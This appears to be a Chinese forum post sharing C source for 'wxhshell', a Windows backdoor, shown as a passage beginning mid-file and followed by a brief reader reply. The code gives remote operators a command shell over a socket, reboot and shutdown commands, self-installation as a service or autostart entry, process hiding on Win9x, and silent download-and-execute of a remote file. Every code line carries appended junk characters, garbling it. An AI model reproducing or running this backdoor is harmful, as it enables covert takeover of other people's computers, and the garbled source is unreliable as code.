  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +; C|5y  
  } st{:] yTRk  
  else { S5" xb  
u4IgPCTZ+  
    switch(cmd[0]) { +=$\7z>s  
   .#zx[Io  
  // 帮助 mZ/?uPIa  
  case '?': { ,'Y*e[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N,(@k[uta  
    break; 9$~D4T  
  } Aw4Qm2Kf  
  // 安装 m/0G=%d%k  
  case 'i': { g"2@E  
    if(Install()) *Sz`=U7n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <!y_L5S|   
    else .W,< ]L '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A{>]M@QC2  
    break; izY,t!  
    } f4/!iiS}r  
  // 卸载 }.NR+:0  
  case 'r': { %p/Qz|W  
    if(Uninstall()) nkS6A}i3o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3dcZ1Yrn  
    else 5`^"<wNI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , $}P<WZMu  
    break; \z:p"eua z  
    } %a5Sc|&-  
  // 显示 wxhshell 所在路径 G2;Uv/vR  
  case 'p': { *B#OLx  
    char svExeFile[MAX_PATH]; E"#<I*b  
    strcpy(svExeFile,"\n\r"); y3 LWh}~E  
      strcat(svExeFile,ExeFile); 4J!1$   
        send(wsh,svExeFile,strlen(svExeFile),0); QDBptI:  
    break; bTA<AoW9="  
    } aMm`G}9n  
  // 重启 2YuaPq/  
  case 'b': { 2EG"xA5%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bkmX@+Pe  
    if(Boot(REBOOT)) @`%.\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #@2`^1  
    else { }=?r`J+Ev;  
    closesocket(wsh); AW+4Vm_!l  
    ExitThread(0); Cla Yy58v  
    } p&Nw:S  
    break; Kl(}s{YFn.  
    } ]K XknEaxl  
  // 关机 0 v/+%%4}  
  case 'd': { JR 2v}b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x[WT)  
    if(Boot(SHUTDOWN)) 3`^ ]#Dh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QdO$,i'  
    else { Z'S>i*Ts  
    closesocket(wsh); T1n GBl\(  
    ExitThread(0); *fSa8CV  
    } }9Y='+.%^  
    break; rvw1'y  
    } z]Ql/AK  
  // 获取shell ?B@hCd)  
  case 's': { 9tl Fbu  
    CmdShell(wsh); n0 !S;HH-  
    closesocket(wsh); ai#EFo+#  
    ExitThread(0); /RX7AXXB  
    break; (C6Y*Zm\  
  } xS,):R  
  // 退出 wKk  
  case 'x': { .IF dJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A javV  
    CloseIt(wsh); 5:ir il  
    break; (ter+rTv  
    } O- |RPW}  
  // 离开 CdWGb[uI  
  case 'q': { qaw5<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oJ6 d:  
    closesocket(wsh); J)'6 z  
    WSACleanup(); [C771~BL>  
    exit(1); ~{2@-qcm  
    break; N#T MU  
        } ~+CNED0z+  
  } 8f8+3  
  } -7=pb#y  
5wGyM10  
  // 提示信息 f}Uw%S=w,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8P5xRUkV  
} (O?z6g  
  } <6v7_  
B-@f.NO/s  
  return; <@JU0Z"a=  
} #GWQ]r?  
[POy" O  
// shell模块句柄 KxJJ?WyM  
int CmdShell(SOCKET sock) Qf=%%5+?8  
{ Wz=ZhE9g  
STARTUPINFO si; I]I5!\\&[  
ZeroMemory(&si,sizeof(si)); lFc3 5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }f6.eqBX4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !p0FJ].g,  
PROCESS_INFORMATION ProcessInfo; K VQZ  
char cmdline[]="cmd"; I,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Y\hF|[z  
  return 0; HnOF_Twq  
} w`!Yr:dU  
ORfA]I-u  
// 自身启动模式 Kl+*Sp!  
int StartFromService(void) HF47Lc*c  
{ 3P #1fI(c  
typedef struct ZQ~?  
{ $1Xg[>1g5  
  DWORD ExitStatus; b[*d i{?-  
  DWORD PebBaseAddress; ve K  
  DWORD AffinityMask; vP,WV9Q1u  
  DWORD BasePriority; *}mtVa_|  
  ULONG UniqueProcessId; RKj A`cJ  
  ULONG InheritedFromUniqueProcessId; @XmMD6{<  
}   PROCESS_BASIC_INFORMATION; 9wtl|s%A %  
(TnYUyFP`  
PROCNTQSIP NtQueryInformationProcess; (AwbZn*  
*YtITyDS3>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L G=Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Aq";z.gi+  
fF *a/\h %  
  HANDLE             hProcess; }>tUkXlhJ<  
  PROCESS_BASIC_INFORMATION pbi; 6fkL@It  
/iukiWeW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u$a%{46  
  if(NULL == hInst ) return 0; c*ytUI *  
%/sf#8^m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V}aXS;(r%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E~N}m7kTl/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xNm<` Y?  
;zh|*F>  
  if (!NtQueryInformationProcess) return 0; A Ys<IMQ  
vWj|[| <rX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ;xry  
  if(!hProcess) return 0; (# ?~^ut  
^KlMBKWyB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w>m/c1  
8E$KR:/:4  
  CloseHandle(hProcess); /5wvXk|@  
KH[%HN5v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .c BJA&/  
if(hProcess==NULL) return 0; dc:|)bK M  
rV1JJ.I  
HMODULE hMod; A\ LTAp(I  
char procName[255]; O(!wDnhc  
unsigned long cbNeeded; ~j8x"  
FC)aR[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .@xwl}o$OL  
&z,w0FOre  
  CloseHandle(hProcess); MMcHzRF  
Kk#8r+ ,  
if(strstr(procName,"services")) return 1; // 以服务启动 @BBqH&<`  
Ip<STz]-  
  return 0; // 注册表启动 '2# O{  
} 3+(Fq5I  
!d"J,.)  
// 主模块 bBg?x 4bu  
int StartWxhshell(LPSTR lpCmdLine) OyTBgS G?a  
{ ~>+}(%<,  
  SOCKET wsl; ~ZL}j+L/  
BOOL val=TRUE; zvD$N-#`p  
  int port=0; 18|H  
  struct sockaddr_in door; )e Ub@Eu  
y"P$:l  
  if(wscfg.ws_autoins) Install(); 9jJ&QACn  
b vUYLWzS  
port=atoi(lpCmdLine); ?p6+?\H  
nCYicB  
if(port<=0) port=wscfg.ws_port; m&o&XVC  
jh}[7M  
  WSADATA data; 9\|3Gm_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !U*i13  
C>t1~^Q},9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rl$NiY?2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1Te: &d  
  door.sin_family = AF_INET; lq+FH&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gu&zplB  
  door.sin_port = htons(port); Z7OWpujCvN  
OTalR;:]r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Cpvh}1#  
closesocket(wsl); z\Qg 3BS  
return 1; 2NI3 &;{4  
} e7 5*84  
!`Bb[BTf  
  if(listen(wsl,2) == INVALID_SOCKET) { t'FY*|xk  
closesocket(wsl); ;M\H#%G.  
return 1; 2&06Db(  
} [o\O^d  
  Wxhshell(wsl); [u/g =^+u  
  WSACleanup(); k >U&Us0  
 |o=eS&)  
return 0; \q%li)  
"-(yZigQ  
} > : \lDz  
Hg]Q.SeJ(  
// 以NT服务方式启动 k}Ahvlq)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u;;]S!:M  
{ j$Gb> Ex>  
DWORD   status = 0;  `q%Z/!}  
  DWORD   specificError = 0xfffffff; qdNYY&6>?u  
LW0't} z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g:O~1jq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w6v P a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >*{\N^:z  
  serviceStatus.dwWin32ExitCode     = 0; -=5z&) X  
  serviceStatus.dwServiceSpecificExitCode = 0; 1}B W   
  serviceStatus.dwCheckPoint       = 0; +'JM:};1X8  
  serviceStatus.dwWaitHint       = 0; w/E4wp  
Y(W>([59  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u m(A3uQ  
  if (hServiceStatusHandle==0) return; BTgL:  
?VO*s-G:J  
status = GetLastError(); xG\&QE  
  if (status!=NO_ERROR) #&5m=q$EI  
{ ko $bCG%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c_ vj't  
    serviceStatus.dwCheckPoint       = 0; fG2\p&z  
    serviceStatus.dwWaitHint       = 0; tWdj"n%  
    serviceStatus.dwWin32ExitCode     = status; thl{IU  
    serviceStatus.dwServiceSpecificExitCode = specificError; K/ I3r_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qte=<Z)  
    return; U}_l]gNn  
  } =>n:\_*M  
]?/[& PP,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )CYSU(YTD  
  serviceStatus.dwCheckPoint       = 0; B/c_pRl;  
  serviceStatus.dwWaitHint       = 0; O>lF{yO0`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +\?#8U/k  
} #Kn=Q  
>-c;  
// 处理NT服务事件,比如:启动、停止 u B~/W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /}]X3ng  
{ Qj VP]C}p  
switch(fdwControl) YFy5>*W  
{ S%R:GZEf_  
case SERVICE_CONTROL_STOP: xT#j-T  
  serviceStatus.dwWin32ExitCode = 0; %j^[%&pT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @G~T&6E!  
  serviceStatus.dwCheckPoint   = 0; My&h{Qk  
  serviceStatus.dwWaitHint     = 0; wk<QYLEk  
  { dNB56E)5`J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JGHQ_AI  
  }  M#IGq  
  return; #Kyb9Qg  
case SERVICE_CONTROL_PAUSE: Vdjf F&q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /g< T)$2  
  break; JLp.bxx  
case SERVICE_CONTROL_CONTINUE: e(@YBQ/Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ahU\(=  
  break; !6'j W!  
case SERVICE_CONTROL_INTERROGATE: OAEJ?ik  
  break; s,\!@[N  
}; K)`, |q* \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;sT7c1X^!  
} N^Xb_jg;J  
l[fU0;A  
// 标准应用程序主函数 1;i[H[hNY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wBTnI>l9[  
{ o;7!$v>uK  
LZqx6~]O  
// 获取操作系统版本 GE\@mu *pO  
OsIsNt=GetOsVer(); 2v0lWO~c7z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N0,.cd]y`  
d/k&f5  
  // 从命令行安装 7N+No.vR.  
  if(strpbrk(lpCmdLine,"iI")) Install(); uZ&,tH/  
^PMP2\JQA  
  // 下载执行文件 r77?s?  
if(wscfg.ws_downexe) { qh Rs5QXL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -4m UGh1dy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5 S$*YRp  
} 4(B{-cK  
Z,.*!S=?h  
if(!OsIsNt) { Vf`n>  
// 如果时win9x,隐藏进程并且设置为注册表启动 m,K0BL  
HideProc(); #*:y2W%H  
StartWxhshell(lpCmdLine); ]d&6 ?7 !>  
} X<9jBj/t  
else 'QFf 7A  
  if(StartFromService()) ,9^wKS!7$  
  // 以服务方式启动 P PZxH}J.  
  StartServiceCtrlDispatcher(DispatchTable); L&+XFntR  
else d}GO(  
  // 普通方式启动 "<SK=W  
  StartWxhshell(lpCmdLine); H1N_  
Edj}\e*-J  
return 0; \::<]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五